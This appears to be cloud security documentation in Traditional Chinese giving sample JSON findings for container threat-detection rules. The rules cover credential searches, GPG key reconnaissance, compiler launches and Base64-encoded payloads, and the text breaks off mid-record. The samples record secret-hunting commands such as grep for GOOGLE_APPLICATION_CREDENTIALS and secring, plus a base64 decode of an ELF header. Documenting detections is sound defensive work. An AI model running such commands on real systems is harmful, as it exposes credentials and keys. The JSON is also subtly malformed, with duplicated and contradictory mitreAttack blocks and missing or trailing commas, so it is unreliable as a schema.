{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Credential Access: Find Google Cloud Credentials",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2025-01-21T19:55:22.017Z",     "database": {},     "eventTime": "2025-01-21T19:55:21.762Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-01-21T19:55:19.654640277Z"         }       }     ],     "mitreAttack": {       "primaryTactic": "CREDENTIAL_ACCESS",       "primaryTechniques": [         "UNSECURED_CREDENTIALS",         "PRIVATE_KEYS"       ]       "additionalTactics": [         "COLLECTION",         "DISCOVERY"       ]       "additionalTechniques": [         "AUTOMATED_COLLECTION",         "CREDENTIALS_FROM_PASSWORD_STORES",         "BASH_HISTORY"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "mitreAttack": {       "primaryTactic": "PRIVILEGE_ESCALATION",       "primaryTechniques": [         "ESCAPE_TO_HOST"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"/bin/grep\"",           "size": "219456",           "sha256": "c0a251c2e9a59e9e5db752c14857e51e17c0771af338b602bb9ccadc23a2ee7f",           "hashedSize": "219456",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "\"grep\"",           "\"GOOGLE_APPLICATION_CREDENTIALS\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"HOSTNAME\"",             "val": "\"CONTAINER_NAME\""           },         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "LOW",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_find_gcp_credentials"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/tactics/TA0006/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/c0a251c2e9a59e9e5db752c14857e51e17c0771af338b602bb9ccadc23a2ee7f/detection"         }       ],       "relatedFindingUri": {}     }   }, }

憑證存取：GPG 金鑰偵查

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Credential Access: GPG Key Reconnaissance",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2025-01-21T19:55:22.017Z",     "database": {},     "eventTime": "2025-01-21T19:55:21.762Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-01-21T19:55:19.654640277Z"         }       }     ],     "mitreAttack": {},     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "mitreAttack": {       "primaryTactic": "CREDENTIAL_ACCESS",       "primaryTechniques": [         "UNSECURED_CREDENTIALS",         "PRIVATE_KEYS"       ]       "additionalTactics": [         "DISCOVERY",         "RECONNAISSANCE"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"/bin/grep\"",           "size": "219456",           "sha256": "c0a251c2e9a59e9e5db752c14857e51e17c0771af338b602bb9ccadc23a2ee7f",           "hashedSize": "219456",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "\"grep\"",           "\"secring\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"HOSTNAME\"",             "val": "\"CONTAINER_NAME\""           },         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "CRITICAL",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_gpg_key_reconnaissance"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/tactics/TA0006/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/c0a251c2e9a59e9e5db752c14857e51e17c0771af338b602bb9ccadc23a2ee7f/detection"         }       ],       "relatedFindingUri": {}     }   }, }

憑證存取：搜尋私密金鑰或密碼

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Credential Access: Search Private Keys or Passwords",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2025-01-21T19:55:22.017Z",     "database": {},     "eventTime": "2025-01-21T19:55:21.762Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-01-21T19:55:19.654640277Z"         }       }     ],     "mitreAttack": {},     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "mitreAttack": {       "primaryTactic": "PRIVILEGE_ESCALATION",       "primaryTechniques": [         "ESCAPE_TO_HOST"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "INTERPRETER",           "size": "147176",           "sha256": "INTERPRETER_SHA_256",           "hashedSize": "147176",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "INTERPRETER",           "ARG"         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-search-private-keys-or-passwords-ba379a7c2168db11\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"GPG_KEY\"",             "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"LANG\"",             "val": "\"C.UTF-8\""           },           {             "name": "\"PYTHON_VERSION\"",             "val": "\"3.12.6\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           }         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "LOW",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_search_private_keys_or_passwords"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1552/001/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/430cdef8f363efe8b7fe0ce4af583b202b77d89f0ded08e3b77ac6aca0a0b304/detection"         }       ],       "relatedFindingUri": {}     }   }, }

規避防禦機制：在容器中啟動程式碼編譯器工具 (預覽版)

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Defense Evasion: Launch Code Compiler Tool In Container",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2025-01-21T19:55:22.017Z",     "database": {},     "eventTime": "2025-01-21T19:55:21.762Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-01-21T19:55:19.654640277Z"         }       }     ],     "mitreAttack": {       "primaryTactic": "DEFENSE_EVASION",       "primaryTechniques": [         "OBFUSCATED_FILES_OR_INFO"       ],       "additionalTactics": [         "RESOURCE_DEVELOPMENT",         "EXECUTION",         "CREDENTIAL_ACCESS"       ],       "additionalTechniques": [         "STAGE_CAPABILITIES",         "SOFTWARE_DEPLOYMENT_TOOLS",         "UNSECURED_CREDENTIALS"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "INTERPRETER",           "size": "147176",           "sha256": "INTERPRETER_SHA_256",           "hashedSize": "147176",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "INTERPRETER",           "ARG"         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-launch-code-compiler-ba379a7c2168db11\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"GPG_KEY\"",             "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"LANG\"",             "val": "\"C.UTF-8\""           },           {             "name": "\"PYTHON_VERSION\"",             "val": "\"3.12.6\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           }         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "LOW",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_launch_code_compiler_tool_in_container"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1027/004/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/430cdef8f363efe8b7fe0ce4af583b202b77d89f0ded08e3b77ac6aca0a0b304/detection"         }       ],       "relatedFindingUri": {}     }   }, }

規避防禦機制：Base64 ELF 檔案指令列

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Defense Evasion: Base64 ELF File Command Line",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2025-01-21T19:55:22.017Z",     "database": {},     "eventTime": "2025-01-21T19:55:21.762Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-01-21T19:55:19.654640277Z"         }       }     ],     "mitreAttack": {},     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "mitreAttack": {       "primaryTactic": "DEFENSE_EVASION",       "primaryTechniques": [         "OBFUSCATED_FILES_OR_INFO",         "DEOBFUSCATE_DECODE_FILES_OR_INFO"       ],       "additionalTactics": [         "EXECUTION"       ],       "additionalTechniques": [         "COMMAND_AND_SCRIPTING_INTERPRETER",         "UNIX_SHELL"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"/usr/bin/base64\"",           "size": "39096",           "sha256": "a51595201def5bde3c47d68c8e8dda31f4e424293f2a5eefb00e47f2db0c2d84",           "hashedSize": "39096",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "\"base64\"",           "\"-d\"",           "\"f0VMRgIB\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"HOSTNAME\"",             "val": "\"CONTAINER_NAME\""           },         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "MEDIUM",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_base64_elf_file_cmdline"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/tactics/TA0005/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/a51595201def5bde3c47d68c8e8dda31f4e424293f2a5eefb00e47f2db0c2d84/detection"         }       ],       "relatedFindingUri": {}     }   }, }

規避防禦機制：已執行 Base64 編碼的 Python 指令碼

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Defense Evasion: Base64 Encoded Python Script Executed",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2025-01-21T19:55:22.017Z",     "database": {},     "eventTime": "2025-01-21T19:55:21.762Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-01-21T19:55:19.654640277Z"         }       }     ],     "mitreAttack": {},     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "mitreAttack": {       "primaryTactic": "DEFENSE_EVASION",       "primaryTechniques": [         "OBFUSCATED_FILES_OR_INFO",       ],       "additionalTactics": [         "EXECUTION"       ],       "additionalTechniques": [         